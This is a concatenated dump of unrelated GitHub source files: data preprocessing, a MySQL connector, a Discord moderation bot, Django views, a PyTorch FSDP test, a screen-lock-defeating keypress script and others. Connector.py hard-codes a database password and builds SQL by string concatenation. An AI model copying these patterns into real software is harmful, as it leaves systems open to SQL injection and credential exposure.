\"+text+\"\\n\")\n\npath_train = 'Train_Full/Van hoa/'\npath_test = 'Test_Full/Van hoa/'\nwriter = open('dataset/van_hoa.txt', 'w', encoding='utf-8')\nfiles_train = os.listdir(path_train)\nfiles_test = os.listdir(path_test)\nfor file in files_train:\n reader = open(path_train+file, 'r', encoding='utf-16')\n text = reader.read()\n text = text_preprocess(text)\n writer.write(\"9 \"+text+\"\\n\")\nfor file in files_test:\n reader = open(path_test+file, 'r', encoding='utf-16')\n text = reader.read()\n text = text_preprocess(text)\n writer.write(\"9 \"+text+\"\\n\")\n\n","repo_name":"tqgminh/text_classification","sub_path":"data_preprocess.py","file_name":"data_preprocess.py","file_ext":"py","file_size_in_byte":11835,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"6211024624","text":"from tabulate import tabulate\nfrom sqlalchemy import create_engine, text\n\n\nclass Connection:\n def __init__(self):\n self.engine = create_engine('mysql+mysqlconnector://and:123@localhost:3306/gps',\n echo=False) # engine = create_engine('dialect+driver://username:password@host:port/database', echo=False)\n\n def create_tables(self):\n queries = []\n queries.append(\"\"\"\n CREATE TABLE IF NOT EXISTS User (\n id INT NOT NULL PRIMARY KEY,\n has_labels BOOL NOT NULL)\n \"\"\")\n queries.append(\"\"\"\n CREATE TABLE IF NOT EXISTS Activity (\n id BIGINT NOT NULL PRIMARY KEY,\n user_id INT NOT NULL,\n transportation_mode VARCHAR(30),\n start_date_time VARCHAR(30),\n end_date_time VARCHAR(30),\n FOREIGN KEY (user_id)\n REFERENCES User(id)\n ON DELETE CASCADE)\n \"\"\")\n queries.append(\"\"\"\n CREATE TABLE IF NOT EXISTS TrackPoint (\n id INT NOT NULL PRIMARY KEY AUTO_INCREMENT,\n activity_id BIGINT NOT NULL,\n lat DOUBLE NOT NULL,\n lon DOUBLE NOT NULL,\n altitude INT NOT NULL,\n date_days DOUBLE NOT NULL,\n date_time DATETIME,\n FOREIGN KEY (activity_id)\n REFERENCES Activity(id)\n ON DELETE CASCADE)\n \"\"\")\n connection = self.engine.connect()\n trans = connection.begin()\n for q in queries:\n connection.execute(text(q))\n trans.commit()\n\n def show_tables(self):\n result = self.engine.connect().execute(\"SHOW TABLES\")\n print(tabulate(result, headers=self.cursor.column_names))\n\n \"\"\"\n Drops the table if it can, ignores it if not, only for testing purposes\n Do not use in finished program\n \"\"\"\n\n def drop_table_lazy(self, table_name):\n try:\n connection = self.engine.connect()\n trans = connection.begin()\n print(\"Dropping table %s...\" % table_name)\n query = \"DROP TABLE {0}\".format(table_name)\n connection.execute(text(query))\n trans.commit()\n except:\n print(\"Could not drop table \" + table_name)\n\n def insert_row(self, table_name, cols, values):\n try:\n connection = self.engine.connect()\n trans = connection.begin()\n query = \"\".join([\"INSERT INTO \", table_name, \" (\", ', '.join(cols), \") VALUES (\", ', '.join(values), \")\"])\n connection.execute(text(query))\n trans.commit()\n except:\n print(\"Could not execute query on table \" + table_name)\n\ndef main():\n connection = Connection()\n connection.drop_table_lazy(\"TrackPoint\")\n connection.drop_table_lazy(\"Activity\")\n connection.drop_table_lazy(\"User\")\n connection.create_tables()\n # connection.show_tables()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"AndersNormannHermanrud/TDT4225-TASK2","sub_path":"assignment2/Connector.py","file_name":"Connector.py","file_ext":"py","file_size_in_byte":3195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"25523481498","text":"# -*- coding: utf-8 -*-\r\n\r\nimport argparse\r\nimport os\r\nimport json\r\nfrom pathlib import Path\r\n\r\nparser = argparse.ArgumentParser(description=\"命令行传入参数\")\r\nparser.add_argument('-t', '--txt', default=\"SciKG_min_1.0\")\r\nargs = parser.parse_args()\r\ntxt = args.txt\r\nroot_dir = os.path.dirname(__file__)\r\n\r\n\r\ndef main():\r\n path = os.path.normcase(os.path.join(root_dir, \"txt\", txt))\r\n print(path)\r\n for root, dirs, files in os.walk(path):\r\n for name in files:\r\n file_dir = os.path.join(path, name)\r\n f = open(file_dir, 'r', encoding='utf-8')\r\n data = f.read().encode('utf-8')\r\n data_dict = json.loads(data)\r\n data_json = json.dumps(data_dict, ensure_ascii=False)\r\n json_path = os.path.normcase(os.path.join(root_dir, \"json\", txt))\r\n if not Path(json_path).is_dir():\r\n os.mkdir(json_path)\r\n json_path = os.path.normcase(os.path.join(json_path, name[:-3]+\"json\"))\r\n w = open(json_path, 'wb')\r\n w.write(data_json.encode('utf-8'))\r\n w.close()\r\n f.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"lankunyao/txt_to_json","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"9598936970","text":"from time import time\nstart = time()\n\n\ndef isprime(num):\n if num <= 1:\n return False\n if num % 2 == 0:\n return False\n\n i = 3\n while i*i < num:\n if num % i == 0:\n return False\n i += 2\n return True\n\n\ndef primefactors(num):\n\n if num % 2 == 0:\n largestprimefactor = [2]\n else:\n largestprimefactor = []\n i = 3\n num_copy = num\n while i*i < num:\n if isprime(i):\n if num_copy % i == 0:\n largestprimefactor.append(i)\n while num_copy % i == 0:\n num_copy /= i\n i += 2\n return largestprimefactor[-1]\n\n\nprint(primefactors(600851475143))\nprint(\"Time: {:.2f}\".format(time() - start))\n","repo_name":"firatbatar/projectEuler","sub_path":"Solutions/Problem3 - Largest prime factor.py","file_name":"Problem3 - Largest prime factor.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"3011600495","text":"#!/usr/bin/python\n\nimport requests\nimport json\nimport os\nimport urllib\nfrom openpyxl import Workbook\n\n# api-endpoint\nURL = f\"https://api.orcasecurity.io/api\"\nURI = f\"/user/session\"\n\ndef do_login():\n LOGIN_URL=URL+URI\n API_KEY = os.environ.get(\"ORCA_API_KEY\")\n\n data = {'security_token':API_KEY}\n r = requests.post(url = LOGIN_URL, data = data)\n newdata = json.loads(r.text)\n jwt = newdata['jwt']['access']\n return jwt\n\ndef get_compliance_frameworks(jwt):\n headers = {\n \"Content-Type\":\"text\",\n \"Authorization\":\"Bearer \" + jwt\n }\n\n encoded_url = URL+\"/compliance/catalog?custom=false\"\n r = requests.get(encoded_url, headers=headers)\n json_returned = json.loads(r.text)\n\n # This next bit is for demonstration purposes only but shows both the unsafe and safe URLs as well as the result\n print(\"Pulled compliance frameworks\\n\")\n #print(json_returned['data']['frameworks'])\n\n print(\"Name Display Name Total Sections Framework ID\")\n for item in json_returned['data']['frameworks']:\n if (item['custom'] == False):\n print(item['name'] + \" \" + item['display_name'] + \" \" + str(item['total_sections']) + \" \" + item['framework_id'])\n for count in range(0,item['total_sections']):\n print(item['sections'][count]['name'])\n for test_count in range(0,item['sections'][count]['total_tests']):\n #print(item['sections'][count]['tests'])\n print(item['sections'][count]['tests'][test_count]['rule_id'], end=\" \")\n print(item['sections'][count]['tests'][test_count]['reference_id'])\n print(item['sections'][count]['tests'][test_count]['name'], end=\" \")\n\ndef create_workbook(path):\n for item in json_data:\n print(item)\n workbook = Workbook()\n sheet = workbook.active\n sheet[\"A1\"] = \"Hello\"\n sheet[\"A2\"] = \"from\"\n sheet[\"A3\"] = \"OpenPyXL\"\n workbook.save(path) \n\njwt=do_login()\nget_compliance_frameworks(jwt)\n#create_workbook(\"foo.xls\")\n","repo_name":"codecowboydotio/orca-examples","sub_path":"compliance.py","file_name":"compliance.py","file_ext":"py","file_size_in_byte":1926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"25356292534","text":"import datetime\nimport pyautogui\nimport sys\nimport time\n\n\n\"\"\"\nSimulate keyboard actions to prevent a screensaver /\nscreenlock from activating on a computer\n\"\"\"\n\nnow = datetime.datetime.now\nstart_time = now()\n\n\ndef act():\n pyautogui.press(\"down\")\n time.sleep(0.5)\n pyautogui.press(\"down\")\n time.sleep(0.5)\n\n\ndef main():\n run_mins = len(sys.argv) > 1 and int(sys.argv[1]) or 16 * 60\n while now() < start_time + datetime.timedelta(minutes=run_mins):\n for _ in range(3):\n act()\n print(\".\")\n\n time.sleep(20)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"noelevans/sandpit","sub_path":"stop_lock.py","file_name":"stop_lock.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"21597994009","text":"import discord\nimport os\nfrom discord.ext import commands\nfrom discord import guild\nfrom keep_alive import keep_alive\nimport random\n\nintents = discord.Intents.default()\nintents.members=True\n\nbot = commands.Bot(intents=intents, command_prefix='.')\nbot.remove_command('help')\n\n@bot.event\nasync def on_ready():\n await bot.change_presence(status=discord.Status.online, activity=discord.Game(name=f\".help in {len(bot.guilds)} servers!\"))\n print (\"Cray is ready!\")\n\n\n\n@bot.command()\nasync def hello(ctx, *, args = None):\n await ctx.send('hello')\n\n@bot.command()\nasync def ping(ctx, *, args = None):\n await ctx.send(f'Pong! {round(bot.latency * 1000)}ms')\n\n\n@bot.command()\nasync def say(ctx, arg):\n await ctx.send(arg)\n \n@bot.command()\nasync def server(ctx):\n name = ctx.guild.name\n \n\n memberCount = ctx.guild.member_count\n\n \n embed = discord.Embed(\n title=name + \" Server Information \",\n \n \n )\n \n embed.add_field(name=\"Member Count\", value=memberCount, inline=True)\n\n await ctx.send(embed=embed)\n\n\n\n@bot.command()\nasync def help(ctx):\n name = \"Commands Help Manual\"\n \n\n helpCommand = \"This command is used to see the commannds manual \"\n\n pingCommand = \"This command is used to see if the bot is online \"\n\n kickCommand = \"This commands kicks a member from the Discord Server\"\n \n banCommand = \"This commands bans a member from the Discord Server\"\n\n sayCommand = \"This command makes Cray say whatever you want. Example: .say Hey! Note: to use multiple words use quotation marks to each side of your sentense\"\n\n muteCommand = \"This command mutes a member in a Discord Server\"\n\n unmuteCommand = \"This command unmutes a member in a Discord Server\"\n\n clearCommand = \"This command is able to clear messages and the number is the amount of messages that you want to clear! Example usage: .clear 5\"\n\n lockCommand = \"This command locks a channel in a Discord Server. Usage: .lock #thechannelofyourchoice\"\n\n\n unlockCommand = \"This command unlocks a channel in a Discord Server. Usage: .unlock #thechannelofyourchoice\"\n\n eightballCommand = \"This command works like a magic 8ball! Type '.8ball (your question)' and the bot will respond to you with an answer! WOW!\"\n\n nickCommand = 'The nick command changes other members nicknames. Note: It works for moderators and higher only to run the command on other members. Example usage: .nick @someone \"Example\"'\n\n embed = discord.Embed(\n title=name \n \n \n )\n \n embed.add_field(name=\".help\", value=helpCommand, inline=False)\n\n\n embed.add_field(name=\".ping\", value=pingCommand, inline=False)\n\n embed.add_field(name=\".say\", value=sayCommand, inline=False)\n\n embed.add_field(name=\".kick\", value=kickCommand, inline=False)\n\n embed.add_field(name=\".ban\", value=banCommand, inline=False)\n\n embed.add_field(name=\".mute\", value=muteCommand, inline=False)\n\n embed.add_field(name=\".unmute\", value=unmuteCommand, inline=False)\n\n embed.add_field(name=\".clear\", value=clearCommand, inline=False)\n\n embed.add_field(name=\".lock\", value=lockCommand, inline=False)\n\n embed.add_field(name=\".unlock\", value=unlockCommand, inline=False)\n \n embed.add_field(name=\".8ball\", value=eightballCommand, inline=False)\n\n embed.add_field(name=\".nick\", value=nickCommand, inline=False)\n \n embed.set_footer(text='Cray Version 0.3')\n\n await ctx.send(embed=embed)\n\n@bot.event \nasync def on_member_join(member):\n print(f'{member} has joined the server!')\n\n embed=discord.Embed(title=f\"{member.name} has joined the server!\",\n description=f\"Member #{len(list(member.guild.members))}\")\n embed.set_thumbnail(url=f\"{member.avatar_url}\")\n channel = bot.get_channel(id=871386007323430973)\n await channel.send(embed=embed)\n\n@bot.event \nasync def on_member_remove(member):\n print(f'{member} has left the server!')\n\n embed=discord.Embed(title=f\"{member.name} has left the server!\",\n description=f\"Wish that they had a great time!\")\n embed.set_thumbnail(url=f\"{member.avatar_url}\")\n channel = bot.get_channel(id=871386007323430973)\n await channel.send(embed=embed)\n\n\n@bot.command()\n@commands.has_permissions(kick_members = True)\nasync def kick(ctx, member : discord.Member, *, reason = None):\n await member.kick(reason = reason)\n await ctx.send (f'I have kicked {member} succesfully!')\n\n\n@bot.command()\n@commands.has_permissions(ban_members = True)\nasync def ban(ctx, member : discord.Member, *, reason = None):\n await member.ban(reason = reason)\n await ctx.send(f'I have banned {member} successfully!')\n\n\n\n@bot.command(description=\"Mutes the specified user.\")\n@commands.has_permissions(manage_messages = True)\nasync def mute(ctx, member: discord.Member, *, reason=None):\n guild = ctx.guild\n mutedRole = discord.utils.get(guild.roles, name=\"Muted\")\n\n if not mutedRole:\n mutedRole = await guild.create_role(name=\"Muted\")\n\n for channel in guild.channels:\n await channel.set_permissions(mutedRole, speak=False, send_messages=False, read_message_history=True, read_messages=False)\n embed = discord.Embed(title=\"muted\", description=f\"{member.mention} was muted\", colour=discord.Colour.light_gray())\n embed.add_field(name=\"reason:\", value=reason, inline=False)\n await ctx.send(embed=embed)\n await member.add_roles(mutedRole, reason=reason)\n await member.send(f\" You have been muted from: {guild.name} reason: {reason}\")\n\n\n\n@bot.command(description=\"Unmutes a specified user.\")\n@commands.has_permissions(manage_messages=True)\nasync def unmute(ctx, member: discord.Member):\n mutedRole = discord.utils.get(ctx.guild.roles, name=\"Muted\")\n\n await member.remove_roles(mutedRole)\n await member.send(f\" You have been unmuted from: - {ctx.guild.name}\")\n embed = discord.Embed(title=\"unmute\", description=f\" Unmuted-{member.mention}\",colour=discord.Colour.light_gray())\n await ctx.send(embed=embed)\n\n@bot.command()\n@commands.has_permissions(manage_channels=True)\nasync def lock(ctx, channel : discord.TextChannel=None):\n channel = channel or ctx.channel\n overwrite = channel.overwrites_for(ctx.guild.default_role)\n overwrite.send_messages = False\n await channel.set_permissions(ctx.guild.default_role, overwrite=overwrite)\n await ctx.send(':lock: Channel locked.')\n\n\n\n@bot.command()\n@commands.has_permissions(manage_channels=True)\nasync def unlock(ctx, channel : discord.TextChannel=None):\n channel = channel or ctx.channel\n overwrite = channel.overwrites_for(ctx.guild.default_role)\n overwrite.send_messages = True\n await channel.set_permissions(ctx.guild.default_role, overwrite=overwrite)\n await ctx.send(':unlock: Channel unlocked.')\n\n\n@bot.command()\n@commands.has_permissions(manage_channels=True)\nasync def clear(ctx, amount: int, target: discord.Member = None):\n \"\"\"Clears X Messages\"\"\"\n if target is None:\n check = None\n else:\n check = lambda m: m.author == target\n\n deleted = await ctx.channel.purge(limit=amount, check=check)\n await ctx.send(f':broom: Deleted **{len(deleted)} ** messages.', delete_after=15)\n\n@bot.command(name=\"8ball\")\nasync def _8ball(ctx):\n await ctx.send(random.choice([\"Yes.\", \"No.\", \"Maybe.\", \"Nice try.\", \"Did you brang me cake?\", \"I'm not sure about that one...\", \"Ask me a different question\", \"Nah.\", \"Noice\", \"Now that's what I call pwetty epic\", \"Yes!!\", \"No!!\", \"Absolutely!\", \"Absolutely Not!\", \":)\", \"Sorry I was distracted but no.\"]))\n\n\n\n\n@bot.command(pass_context=True)\nasync def nick(ctx, member: discord.Member, nick):\n await member.edit(nick=nick)\n await ctx.send(f\"I have changed {member.mention}'s nickname!\")\n\nkeep_alive()\nbot.run(os.getenv('TOKEN'))\n","repo_name":"DomTech-exe/CrayOffical","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7553,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"41558167825","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\n\nclass Desire(models.Model):\n user = models.ForeignKey(User, on_delete=models.CASCADE, related_name=\"desire_author\", blank=False)\n desire = models.CharField(max_length=256, blank=False)\n how = models.IntegerField(default=0, blank=False)\n what = models.IntegerField(default=0, blank=False)\n lang = models.CharField(max_length=2, default=\"en\", blank=False)\n added_at = models.DateTimeField(auto_now_add=True)\n\n\nclass DesireSearch(models.Model):\n user = models.ForeignKey(User, on_delete=models.CASCADE, related_name=\"desire_search\", blank=False)\n desire = models.ForeignKey(Desire, on_delete=models.CASCADE, related_name=\"desire_id\", blank=False)\n count = models.IntegerField(default=0, blank=False)\n added_at = models.DateTimeField(auto_now_add=True)","repo_name":"kamilsj/mountaingrip","sub_path":"apps/desire/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"44529089896","text":"try:\n a = int(input('Numerador: '))\n b = int(input('Denominador: '))\n r = a / b\nexcept (ValueError, TypeError):\n print('Problema com os tipos de dados digitados.')\nexcept ZeroDivisionError:\n print('Não é possível a divisão por 0(zero).')\nexcept KeyboardInterrupt:\n print('O usuário preferiu não informar os dados.')\nelse:\n print(f'O resultado é {r:.1f}')\nfinally:\n print('Até a próxima!')\n","repo_name":"andre-f-alves/testes-python","sub_path":"Aula23c.py","file_name":"Aula23c.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"10443080574","text":"# Owner(s): [\"oncall: distributed\"]\n\nimport sys\nfrom typing import Optional\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch import distributed as dist\nfrom torch.distributed.algorithms._comm_hooks import allreduce_hook\nfrom torch.distributed.fsdp import FullyShardedDataParallel as FSDP\nfrom torch.distributed.fsdp.fully_sharded_data_parallel import ShardingStrategy\n\nfrom torch.testing._internal.common_distributed import skip_if_lt_x_gpu\nfrom torch.testing._internal.common_fsdp import FSDPTest\nfrom torch.testing._internal.common_utils import (\n instantiate_parametrized_tests,\n parametrize,\n run_tests,\n)\n\nif not dist.is_available():\n print(\"Distributed not available, skipping tests\", file=sys.stderr)\n sys.exit(0)\n\nclass Net(nn.Module):\n\n def __init__(self, has_wrapping, sharding_strategy):\n # to ensure determinism\n torch.manual_seed(0)\n torch.cuda.manual_seed(0)\n super().__init__()\n\n if has_wrapping:\n self.net = FSDP(nn.Sequential(\n nn.Linear(8, 16),\n nn.ReLU(),\n FSDP(\n nn.Linear(16, 8),\n device_id=torch.cuda.current_device(),\n sharding_strategy=sharding_strategy\n )\n ),\n device_id=torch.cuda.current_device(),\n sharding_strategy=sharding_strategy\n )\n else:\n self.net = nn.Sequential(\n nn.Linear(8, 16),\n nn.ReLU(),\n nn.Linear(16, 8)\n )\n\n self.out = nn.Linear(8, 4)\n\n def forward(self, x):\n return self.out(F.relu(self.net(x)))\n\nclass DummyState(object):\n\n __slots__ = [\n \"process_group\"\n ]\n\n def __init__(self, process_group):\n self.process_group = process_group\n\nclass DummyHook(object):\n\n def dummy_hook(self, state: DummyState, grad: torch.Tensor):\n pass\n\nclass TestCommunicationHooks(FSDPTest):\n\n @skip_if_lt_x_gpu(2)\n @parametrize(\n \"sharding_strategy\",\n [\n ShardingStrategy.NO_SHARD\n ])\n def test_default_communication_hook_behavior(\n self,\n sharding_strategy: Optional[ShardingStrategy]\n ):\n \"\"\"\n Tests FSDP's default communication hook's behavior and correctness.\n Arguments:\n sharding_strategy (Optional[ShardingStrategy]): Configures the FSDP algorithm.\n \"\"\"\n m = torch.nn.Linear(1, 5, bias=False)\n inpt = torch.tensor([self.rank]).float().cuda(self.rank)\n\n net_default_hook = FSDP(\n m,\n device_id=torch.cuda.current_device(),\n sharding_strategy=sharding_strategy\n ).to(self.rank)\n\n # Check that default hook is set to `all_reduce`\n for entry in FSDP.fsdp_modules(net_default_hook):\n self.assertEqual(entry.communication_hook, allreduce_hook.allreduce_hook)\n\n for _ in range(4):\n\n # Clear gradients\n net_default_hook.zero_grad()\n loss = net_default_hook(inpt).sum()\n loss.backward()\n\n # For each worker, the gradient on the weight should be worker_rank.\n grad = net_default_hook.params[0].grad\n expected_grad = (\n sum(i for i in range(dist.get_world_size())) / dist.get_world_size()\n )\n # Verify default hook produces expected gradients\n self.assertEqual(\n grad[0].item(),\n expected_grad,\n msg=f\"Expected hook grad of {expected_grad} but got {grad[0].item()}\")\n\n def _get_submodules(self, fsdp_net):\n return [\n submodule for submodule in FSDP.fsdp_modules(fsdp_net)\n if not submodule.check_is_root()\n ]\n\n def _init_model(self, core, sharding_strategy):\n\n device = torch.device(\"cuda\")\n return FSDP(\n core,\n device_id=torch.cuda.current_device(),\n sharding_strategy=sharding_strategy\n ).to(device)\n\n @skip_if_lt_x_gpu(2)\n @parametrize(\"has_wrapping\", [True, False])\n @parametrize(\n \"sharding_strategy\",\n [\n ShardingStrategy.NO_SHARD,\n ShardingStrategy.FULL_SHARD,\n ShardingStrategy.SHARD_GRAD_OP\n ])\n def test_default_communication_hook_initialization(\n self,\n has_wrapping: bool,\n sharding_strategy: Optional[ShardingStrategy]\n ):\n \"\"\"\n Tests FSDP's communication hook interface behavior.\n Arguments:\n has_wrapping (bool): Configures wrapping of a module.\n sharding_strategy (Optional[ShardingStrategy]): Configures the FSDP algorithm.\n \"\"\"\n\n # Initialize the model and inputs\n fsdp_model_with_hook = self._init_model(\n Net(has_wrapping=has_wrapping, sharding_strategy=sharding_strategy),\n sharding_strategy=sharding_strategy\n )\n dummy_state = DummyState(process_group=None)\n\n # FSDP currently supports communication hooks for a NO_SHARD strategy\n # Check that a `NotImplementedError` is raised for other strategies\n if sharding_strategy != ShardingStrategy.NO_SHARD:\n # Check that default hook is set to None\n for entry in FSDP.fsdp_modules(fsdp_model_with_hook):\n self.assertIsNone(entry.communication_hook)\n self.assertIsNone(entry.communication_hook_state)\n\n with self.assertRaisesRegex(\n NotImplementedError,\n '^Communication hooks are currently only available for a NO_SHARD strategy.$'\n ):\n fsdp_model_with_hook.register_comm_hook(dummy_state, DummyHook.dummy_hook)\n\n else:\n\n # Check that default hook is set to `all_reduce`\n for entry in FSDP.fsdp_modules(fsdp_model_with_hook):\n self.assertEqual(entry.communication_hook, allreduce_hook.allreduce_hook)\n\n dummy_state = DummyState(process_group=None)\n\n fsdp_model_with_hook.register_comm_hook(\n dummy_state,\n DummyHook.dummy_hook\n )\n\n # Check that we can't register comm hook twice\n with self.assertRaisesRegex(AssertionError, '^communication hook can be only registered once$'):\n fsdp_model_with_hook.register_comm_hook(\n dummy_state,\n DummyHook.dummy_hook\n )\n\n # Check dummy hook was registered for the root and all submodules if any\n for entry in FSDP.fsdp_modules(fsdp_model_with_hook):\n self.assertEqual(\n entry.communication_hook,\n DummyHook.dummy_hook\n )\n self.assertEqual(\n entry.communication_hook_state,\n dummy_state\n )\n\n @skip_if_lt_x_gpu(2)\n @parametrize(\n \"sharding_strategy\",\n [\n ShardingStrategy.NO_SHARD\n ])\n def test_registering_hook_non_root(\n self,\n sharding_strategy: Optional[ShardingStrategy]\n ):\n \"\"\"\n Tests FSDP's communication hook registering for submodules.\n Make sure it can't be registered for non-root submodules.\n Currently tests only ``NO_SHARD`` strategy.\n Arguments:\n sharding_strategy (Optional[ShardingStrategy]): Configures the FSDP algorithm.\n\n \"\"\"\n\n fsdp_model_with_hook = self._init_model(\n Net(has_wrapping=True, sharding_strategy=sharding_strategy),\n sharding_strategy=sharding_strategy\n )\n dummy_state = DummyState(process_group=None)\n # Creating a list of non-root submodules to test\n submodules = self._get_submodules(fsdp_model_with_hook)\n # Check that assertion is raised for registering a comm hook on a non-root\n with self.assertRaisesRegex(AssertionError, '^register_comm_hook can only be called on a root instance.$'):\n submodules[1].register_comm_hook(dummy_state, DummyHook.dummy_hook)\n\n @skip_if_lt_x_gpu(2)\n @parametrize(\n \"sharding_strategy\",\n [\n ShardingStrategy.NO_SHARD\n ])\n def test_registering_hook_submodules(\n self,\n sharding_strategy: Optional[ShardingStrategy]\n ):\n \"\"\"\n Tests FSDP's communication hook registering for submodules.\n Checks behavior if a hook was registered for a non-root submodule\n Currently tests only ``NO_SHARD`` strategy.\n Arguments:\n sharding_strategy (Optional[ShardingStrategy]): Configures the FSDP algorithm.\n\n \"\"\"\n\n fsdp_model_with_hook = self._init_model(\n Net(has_wrapping=True, sharding_strategy=sharding_strategy),\n sharding_strategy=sharding_strategy\n )\n dummy_state = DummyState(process_group=None)\n submodules = self._get_submodules(fsdp_model_with_hook)\n\n # Simulate a registration of a hook on a submodule\n submodules[1]._hook_registered = True\n # Check that an error is raised when some of submodules have a non-default hook assigned\n with self.assertRaisesRegex(AssertionError, '^communication hook can be only registered once$'):\n fsdp_model_with_hook.register_comm_hook(dummy_state, DummyHook.dummy_hook)\n\n # Reinitialize the model\n fsdp_model_with_hook = self._init_model(\n Net(has_wrapping=True, sharding_strategy=sharding_strategy),\n sharding_strategy=sharding_strategy\n )\n submodules = self._get_submodules(fsdp_model_with_hook)\n submodules[1].communication_hook = DummyHook.dummy_hook\n\n # Check that an error is raised when some of submodules have a non-default hook assigned\n with self.assertRaisesRegex(\n AssertionError,\n f'^communication hook should be default, but it is {submodules[1].communication_hook.__name__} instead$'\n ):\n fsdp_model_with_hook.register_comm_hook(\n dummy_state,\n DummyHook.dummy_hook\n )\n\n\ninstantiate_parametrized_tests(TestCommunicationHooks)\n\nif __name__ == \"__main__\":\n run_tests()\n","repo_name":"Shuvo001/pytorch","sub_path":"test/distributed/fsdp/test_fsdp_comm_hooks.py","file_name":"test_fsdp_comm_hooks.py","file_ext":"py","file_size_in_byte":10281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"11"} +{"seq_id":"4288919909","text":"from django.shortcuts import render, redirect\nfrom .models import Produtos\nfrom .forms import ProdutoForm\n\ndef index(request):\n produtos = Produtos.objects.all()\n template_name = 'index.html'\n lst_produtos = []\n lst_qtd = []\n lst_valorEstoque = [] \n for produto in produtos :\n lst_produtos.append(produto.produto)\n lst_qtd.append(produto.quantidade)\n lst_valorEstoque.append(float(produto.valorEstoque()))\n print(lst_valorEstoque)\n context = {\n 'produtos': produtos,\n 'lst_produtos': lst_produtos,\n 'lst_qtd':lst_qtd,\n 'lst_valorEstoque': lst_valorEstoque,\n }\n return render(request, template_name, context)\n\ndef deletar(request,pk):\n produto = Produtos.objects.get(pk=pk)\n produto.delete()\n return redirect('produto:index')\n\ndef novo(request):\n if request.method == 'POST':\n form = ProdutoForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('produto:index')\n else:\n template_name = 'novo.html'\n context = {\n 'form': ProdutoForm(),\n }\n return render(request, template_name, context)\n\ndef alterar(request,pk):\n produto = Produtos.objects.get(pk=pk)\n if request.method == 'POST':\n form = ProdutoForm(request.POST, instance=produto)\n if form.is_valid():\n form.save()\n return redirect('produto:index')\n else:\n template_name = 'alterar.html'\n context = {\n 'form': ProdutoForm(instance=produto),\n 'pk': pk,\n }\n return render(request, template_name, context)","repo_name":"marcelo-s-correa/estoque-LTP2","sub_path":"produto/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"26521299256","text":"from tkinter import Tk, filedialog\nfrom tika import parser\n\n\ndef openFilePicker() -> str:\n file_picker = Tk()\n file_picker.withdraw()\n file = filedialog.askopenfilename()\n return file\n\n\ndef extractRawText(file_path: str) -> str:\n with open(file_path, \"rb\") as input_file:\n raw_text = parser.from_file(input_file)\n return raw_text[\"content\"]\n\n\ndef formatRawText(raw_text: str) -> str:\n text = raw_text\n text = text.strip()\n text = text.replace(\"\\t\", \"\")\n text = text.replace(\"\\n\\n\\n\", \"\\n\\n\")\n text = text.replace(\" \", \" \")\n return text\n\n\ndef writeTextToFile(text: str, output_file: str) -> None:\n with open(output_file, \"w+\", encoding=\"utf-8\") as output:\n output.write(text)\n\n\ndef main() -> None:\n file = openFilePicker()\n\n if not file:\n raise Exception(\"No file supplied\")\n\n raw_text = extractRawText(file)\n formatted_text = formatRawText(raw_text)\n writeTextToFile(formatted_text, \"pdf_content.txt\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"svedev0/python-pdf-parser","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"72479928347","text":"from keras.models import load_model\nfrom keras_preprocessing import image\nimport numpy as np\nimport os\nos.environ['CUDA_VISIBLE_DEVICES'] = \"0\"\n\n\nimg = 'dataset/single_prediction/cat_or_dog_1.jpg'\n\ndef make_prediction(img_path):\n loaded = load_model('model.h5')\n test_image = image.load_img(img_path, target_size=(64, 64))\n test_image = image.img_to_array(test_image)\n test_image = np.expand_dims(test_image, axis=0)\n result = loaded.predict(test_image)\n if result[0][0] == 1:\n prediction = 'dog'\n else:\n prediction = 'cat'\n\n return prediction\n\nprint(make_prediction(img))","repo_name":"iamtheef/ai-models","sub_path":"Deep Learning/Convolutional Neural Networks/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"9608698975","text":"# App\nfrom methylprep.models import Channel, Sample, ArrayType, SigSet # MethylationDataset, RawDataset\nfrom methylprep.files import SampleSheet, Manifest, IdatDataset\nfrom pathlib import Path\n\nclass TestSigSet():\n\n @staticmethod\n def test_idat_dataset_control_snp():\n data_dir = 'docs/example_data/GSE69852'\n sample = Sample(data_dir, '9247377093', 'R02C01')\n red_idat = IdatDataset(Path(data_dir, '9247377093_R02C01_Red.idat'), Channel.RED)\n green_idat = IdatDataset(Path(data_dir,'9247377093_R02C01_Grn.idat'), Channel.GREEN)\n manifest = Manifest(ArrayType.ILLUMINA_450K) # this could be REALLY slow, if docker/test 